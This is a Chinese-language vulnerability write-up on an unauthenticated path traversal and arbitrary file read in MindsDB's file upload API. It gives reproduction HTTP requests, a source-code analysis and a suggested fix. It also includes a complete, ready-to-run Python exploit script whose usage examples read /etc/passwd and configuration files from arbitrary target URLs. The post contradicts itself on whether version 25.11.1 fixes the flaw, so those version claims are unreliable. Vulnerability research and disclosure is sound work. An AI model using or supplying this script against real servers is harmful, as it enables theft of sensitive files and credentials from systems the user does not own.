MindsDB 未授权任意文件读取漏洞详细分析

前言

可能分析组件多了吧,都准备下播了,看到 360 又发了一个 AI 数据库的漏洞


漏洞描述

MindsDB 是一个基于企业数据构建人工智能的平台。在 25.11.1 版本之前,文件上传 API 中的非认证路径遍历允许任何调用者从服务器文件系统读取任意文件并将其移入 MindsDB 存储,从而暴露敏感数据。file.py 中的 PUT 处理程序会直接将用户控制的数据加入文件系统路径,当请求主体是 JSON 且 source_type 不是“url”时。只有多部分上传和基于 URL 的上传会被净化;JSON 上传没有调用 clear_filename 或等效检查。该漏洞在 25.11.1 中修复。

环境搭建

# 漏洞版本 (v25.11.0)
git clone --depth 1 --branch v25.11.0 https://github.com/mindsdb/mindsdb.git vulnerable-25.11.0

# 进入源码目录
cd vulnerable-25.11.0

pip install -e .

# 启动 MindsDB HTTP API
python -m mindsdb --api=http

搭建成功

漏洞复现

首先模拟创建一个敏感文件

echo "PATH_TRAVERSAL_SUCCESS
secret_data=leaked123" > /tmp/poc_test.txt


然后我们开始目录穿越

PUT /api/files/aaa HTTP/1.1
Host: 127.0.0.1:47334
Sec-Fetch-Dest: document
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
Sec-Fetch-Mode: navigate
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate, br, zstd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Sec-Fetch-Site: none
Content-Type: application/json

{"file": "../../tmp/poc_test.txt"}

看到回显,证明穿越的路径不够

PUT /api/files/aaa HTTP/1.1
Host: 127.0.0.1:47334
Sec-Fetch-Dest: document
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
Sec-Fetch-Mode: navigate
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate, br, zstd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Sec-Fetch-Site: none
Content-Type: application/json

{"file": "../../../../../../../../../../../../../tmp/poc_test.txt"}


现在成功把文件内容写进数据库了,然后就是读取的问题了


我们通过 sql 查询,把内容查出来

/api/files/aaa 路由后面的 aaa,就是我们的文件名称

POST /api/sql/query HTTP/1.1
Host: 127.0.0.1:47334
Sec-Fetch-Dest: document
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
Sec-Fetch-Mode: navigate
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate, br, zstd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Sec-Fetch-Site: none
Content-Type: application/json

{"query": "SELECT * FROM files.aaa"}

成功读取到了文件内容

漏洞分析

文件上传

当然第一个查看的就是 file 文件

注意,这个文件我们可以分为两个部分分析,其中有两种文件上传,一个是 Multipart 格式,但是对路径穿越是有检查的

   if Path(file_name).name != file_name:                                                                                                                                                                                  
    raise ValueError(f"Wrong file name: {file_name}")                                                                                                                                                                  
 # 检查 `Path(file_name).name != file_name` 会拒绝包含 `/` 的文件名                                                                                                                                                     
        
   # 例如: "../../etc/passwd" 的 .name 是 "passwd",不等于原值,就会报错


但是为什么还是漏洞呢?我们看到全部代码

# mindsdb/api/http/namespaces/file.py

@ns_conf.route("/<name>")
@ns_conf.param("name", "MindsDB's name for file")
class File(Resource):
    @ns_conf.doc("put_file")
    @api_endpoint_metrics("PUT", "/files/file")
    def put(self, name: str):
        """add new file as table
        ... docstring ...
        """

        data = {}
        mindsdb_file_name = name.lower()

        def on_field(field):
            name = field.field_name.decode()
            value = field.value.decode()
            data[name] = value

        file_object = None

        def on_file(file):
            nonlocal file_object
            file_name = file.file_name.decode()
            data["file"] = file_name
            if Path(file_name).name != file_name:  # ← Multipart 有路径遍历检查
                raise ValueError(f"Wrong file name: {file_name}")
            file_object = file.file_object

        temp_dir_path = tempfile.mkdtemp(prefix="mindsdb_file_")

        if request.headers["Content-Type"].startswith("multipart/form-data"):
            # ... multipart 处理代码,有安全检查 ...
            pass
        else:
            # 🔴 漏洞路径:JSON 请求直接赋值,无验证
            data = request.json

        # ... 检查文件是否存在 ...

        source_type = data.get("source_type", "file")  # ← 默认 "file"
        if source_type not in ("file", "url"):
            return http_error(...)

        if source_type == "url":
            # URL 上传路径有安全检查
            # ...
            data["file"] = clear_filename(mindsdb_file_name)  # ← 调用 clear_filename
            # ...

        # 注意 当 source_type == "file" (默认情况),没有对 data["file"] 进行验证!

        if "file" not in data:
            return http_error(...)

        original_file_name = clear_filename(data.get("original_file_name"))

        file_path = os.path.join(temp_dir_path, data["file"])

        # ... 档案处理代码 ...

        try:
            if not Path(mindsdb_file_name).suffix == "":
                return http_error(400, "Error", "File name cannot contain extension.")
            # file_path 可能指向任意文件,内容会被读取
            ca.file_controller.save_file(mindsdb_file_name, file_path, file_name=original_file_name)
        except FileProcessingError as e:
            return http_error(400, "Error", str(e))
        except Exception as e:
            return http_error(500, "Error", str(e))
        finally:
            shutil.rmtree(temp_dir_path, ignore_errors=True)

        return "", 200

这里可以看到,如果是 json 格式,也就是我们漏洞复现的 payload 模式,没有检查可以直接绕过

文件读取部分

# mindsdb/interfaces/file/file_controller.py

class FileController:
    def save_file(self, name, file_path, file_name=None):
        """Save the file to our store

        Args:
            name (str): with that name file will be available in sql api
            file_name (str): file name
            file_path (str): path to the file

        Returns:
            int: id of 'file' record in db
        """
        files_metadata = self.get_files()
        if name in [x["name"] for x in files_metadata]:
            raise Exception(f"File already exists: {name}")

        if file_name is None:
            file_name = Path(file_path).name

        file_dir = None
        try:
            # 🔴 Sink 点 1: FileReader 会读取 file_path 的文件内容
            pages_files, pages_index = self.get_file_pages(file_path)

            metadata = {"is_feather": True, "pages": pages_index}
            df = pages_files[0]
            file_record = db.File(
                name=name,
                company_id=ctx.company_id,
                source_file_path=file_name,
                file_path="",
                row_count=len(df),
                columns=list(df.columns),
                metadata_=metadata,
            )
            db.session.add(file_record)
            db.session.flush()

            store_file_path = f"file_{ctx.company_id}_{file_record.id}"
            file_record.file_path = store_file_path

            file_dir = Path(self.dir).joinpath(store_file_path)
            file_dir.mkdir(parents=True, exist_ok=True)

            self.store_pages_as_feather(file_dir, pages_files)

            # 🔴 Sink 点 2: 文件被移动到 MindsDB 存储
            shutil.move(file_path, str(file_dir.joinpath(file_name)))

            self.fs_store.put(store_file_path, base_dir=self.dir)
            db.session.commit()

        except Exception:
            logger.exception("An error occurred while saving the file:")
            if file_dir is not None:
                shutil.rmtree(file_dir)
            raise

        return file_record.id

    def get_file_pages(self, source_path: str):
        """
        Reads file and extract pages from it
        """
        file_reader = FileReader(path=source_path)
        tables = file_reader.get_contents()
        # ...

文件读取后直接把内容移动到 MindsDB 中存储,所以我们读取文件,可以直接从数据库查询文件内容

绝对路径读取

但是我后来发现,都不需要目录穿越,直接绝对路径就可以成功,其实还是因为一个漏洞


我们写一个例子代码,就明白了



import os

# 正常情况
path1=os.path.join("/tmp/safe", "data.csv")

#第二个参数是绝对路径
path2=os.path.join("/tmp/safe", "/etc/passwd")

print(path1)

print(path2)

可以看到当我的第二个路径是绝对路径的时候,直接被覆盖掉了

所以我们完全可以绝对路径去读取信息

尝试一手再说

PUT /api/files/aaaaa HTTP/1.1
Host: 127.0.0.1:47334
Sec-Fetch-Dest: document
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
Sec-Fetch-Mode: navigate
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate, br, zstd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Sec-Fetch-Site: none
Content-Type: application/json

{"file": "/tmp/poc_test.txt"}


POST /api/sql/query HTTP/1.1
Host: 127.0.0.1:47334
Sec-Fetch-Dest: document
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
Sec-Fetch-Mode: navigate
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate, br, zstd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Sec-Fetch-Site: none
Content-Type: application/json

{"query": "SELECT * FROM files.aaaaa"}

完全没有问题

一键利用脚本

注意,只能在本地环境复现,因为,每次读取文件后,都会把原文件删除,所以请在虚拟机复现或者创建临时文件

#!/usr/bin/env python3
"""
MindsDB Path Traversal Exploit

一键利用脚本 - 读取服务器上任意文件

Usage:
    python3 exploit_mindsdb_path_traversal.py -u http://127.0.0.1:47334 -f /etc/passwd
    python3 exploit_mindsdb_path_traversal.py --url http://127.0.0.1:47334 --file ../../../../../tmp/secret.txt

Author: Vulnerability Analyzer
Date: 2025-01-14
"""

import argparse
import requests
import json
import sys
import time
import string
import random


def generate_table_name(length=8):
    """生成随机表名,避免冲突"""
    return ''.join(random.choices(string.ascii_lowercase, k=length))


def exploit(target_url, file_to_read, table_name=None, timeout=30):
    """
    执行路径遍历利用

    Args:
        target_url: MindsDB 服务地址
        file_to_read: 要读取的文件路径(支持绝对路径和相对路径遍历)
        table_name: 自定义表名,默认随机生成
        timeout: 请求超时时间
    """
    if table_name is None:
        table_name = generate_table_name()

    # 确保URL格式正确
    target_url = target_url.rstrip('/')
    if not target_url.startswith(('http://', 'https://')):
        target_url = 'http://' + target_url

    print(f"{'='*60}")
    print(f"MindsDB Path Traversal Exploit")
    print(f"{'='*60}")
    print(f"[+] 目标: {target_url}")
    print(f"[+] 读取文件: {file_to_read}")
    print(f"[+] 表名: {table_name}")
    print(f"{'='*60}\n")

    # Step 1: 上传恶意文件引用
    print("[*] Step 1: 上传文件引用...")
    upload_url = f"{target_url}/api/files/{table_name}"
    payload = {"file": file_to_read}

    try:
        response = requests.put(upload_url, json=payload, timeout=timeout)
        print(f"    PUT {upload_url}")
        print(f"    Payload: {json.dumps(payload)}")
        print(f"    状态码: {response.status_code}")

        if response.status_code == 200:
            print("    [+] 上传成功")
        elif response.status_code == 404:
            print("    [!] 路由不存在,可能目标不是MindsDB或版本不匹配")
            return False
        else:
            print(f"    [!] 上传失败: {response.text}")
            # 继续尝试查询,有时上传会返回非200但文件已注册
    except requests.exceptions.RequestException as e:
        print(f"    [ERROR] 连接失败: {e}")
        return False

    # Step 2: 等待文件处理
    print("\n[*] Step 2: 等待文件处理...")
    time.sleep(2)

    # Step 3: 通过SQL查询读取文件内容
    print("[*] Step 3: 查询文件内容...")
    query_url = f"{target_url}/api/sql/query"
    query_payload = {"query": f"SELECT * FROM files.{table_name}"}

    try:
        response = requests.post(query_url, json=query_payload, timeout=timeout)
        print(f"    POST {query_url}")
        print(f"    Query: SELECT * FROM files.{table_name}")
        print(f"    状态码: {response.status_code}\n")

        if response.status_code == 200:
            result = response.json()

            # 检查是否有数据
            if "data" in result or "rows" in result:
                print(f"{'='*60}")
                print("    [!!!] 文件读取成功!")
                print(f"{'='*60}\n")
                print("文件内容:")
                print("-" * 40)

                # 格式化输出
                if "data" in result and result["data"]:
                    for row in result["data"]:
                        print(json.dumps(row, indent=2, ensure_ascii=False))
                elif "rows" in result and result["rows"]:
                    for row in result["rows"]:
                        print(json.dumps(row, indent=2, ensure_ascii=False))
                else:
                    print(json.dumps(result, indent=2, ensure_ascii=False))

                print("-" * 40)
                print("\n[!!!] 利用成功!")
                return True
            else:
                print("    [!] 查询成功但无数据返回")
                print(f"    完整响应: {json.dumps(result, indent=2)}")
                return False
        else:
            print(f"    [!] 查询失败: {response.text}")
            return False

    except requests.exceptions.RequestException as e:
        print(f"    [ERROR] 查询失败: {e}")
        return False


def main():
    parser = argparse.ArgumentParser(
        description='MindsDB Path Traversal Exploit',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # 读取 /etc/passwd
  %(prog)s -u http://127.0.0.1:47334 -f /etc/passwd

  # 使用相对路径遍历
  %(prog)s -u http://127.0.0.1:47334 -f ../../../../../etc/passwd

  # 读取配置文件
  %(prog)s -u https://target.com -f /etc/mindsdb/config.py

  # 指定自定义表名
  %(prog)s -u http://127.0.0.1:47334 -f /tmp/secret.txt -t mysecret
        """
    )

    parser.add_argument(
        '-u', '--url',
        required=True,
        help='MindsDB 服务地址 (例如: http://127.0.0.1:47334)'
    )

    parser.add_argument(
        '-f', '--file',
        required=True,
        help='要读取的文件路径 (支持绝对路径和相对路径遍历)'
    )

    parser.add_argument(
        '-t', '--table',
        default=None,
        help='自定义表名 (默认随机生成)'
    )

    parser.add_argument(
        '--timeout',
        type=int,
        default=30,
        help='请求超时时间 (秒,默认: 30)'
    )

    args = parser.parse_args()

    # 执行利用
    success = exploit(
        target_url=args.url,
        file_to_read=args.file,
        table_name=args.table,
        timeout=args.timeout
    )

    sys.exit(0 if success else 1)


if __name__ == "__main__":
    main()

漏洞修复

把file.py的相关的 commit 都看了一下

https://github.com/mindsdb/mindsdb/commit/87a44bdb2b97f963e18f10a068e1a1e2690505ef#diff-f2df6eb4c41eb4f31a7f7b9a57601f84cbc8204e96ae798f828bbd5b21a747c2

还未修复这个问题,在最新版本,还是可以复现

修复方案

在 file.py 第 214 行之前添加路径验证:

# mindsdb/api/http/namespaces/file.py

# 修复前:
file_path = os.path.join(temp_dir_path, data["file"])

# 修复后:
# 1. 清理文件名
if "file" in data:
    data["file"] = clear_filename(data["file"])

# 2. 构建路径
file_path = os.path.join(temp_dir_path, data["file"])

# 3. 验证路径在允许的目录内
real_temp_dir = os.path.realpath(temp_dir_path)
real_file_path = os.path.realpath(file_path)
if not real_file_path.startswith(real_temp_dir + os.sep):
    return http_error(
        400,
        "Invalid path",
        "File path must be within the temporary directory"
    )



参考资料

免责声明

本报告仅供安全研究和教育目的使用。所有测试均在授权环境中进行。

  • 请勿将本文提供的信息用于任何非法目的
  • 本文所述漏洞利用方法仅用于帮助理解和修复安全漏洞
  • 使用本文信息造成的任何后果,由使用者自行承担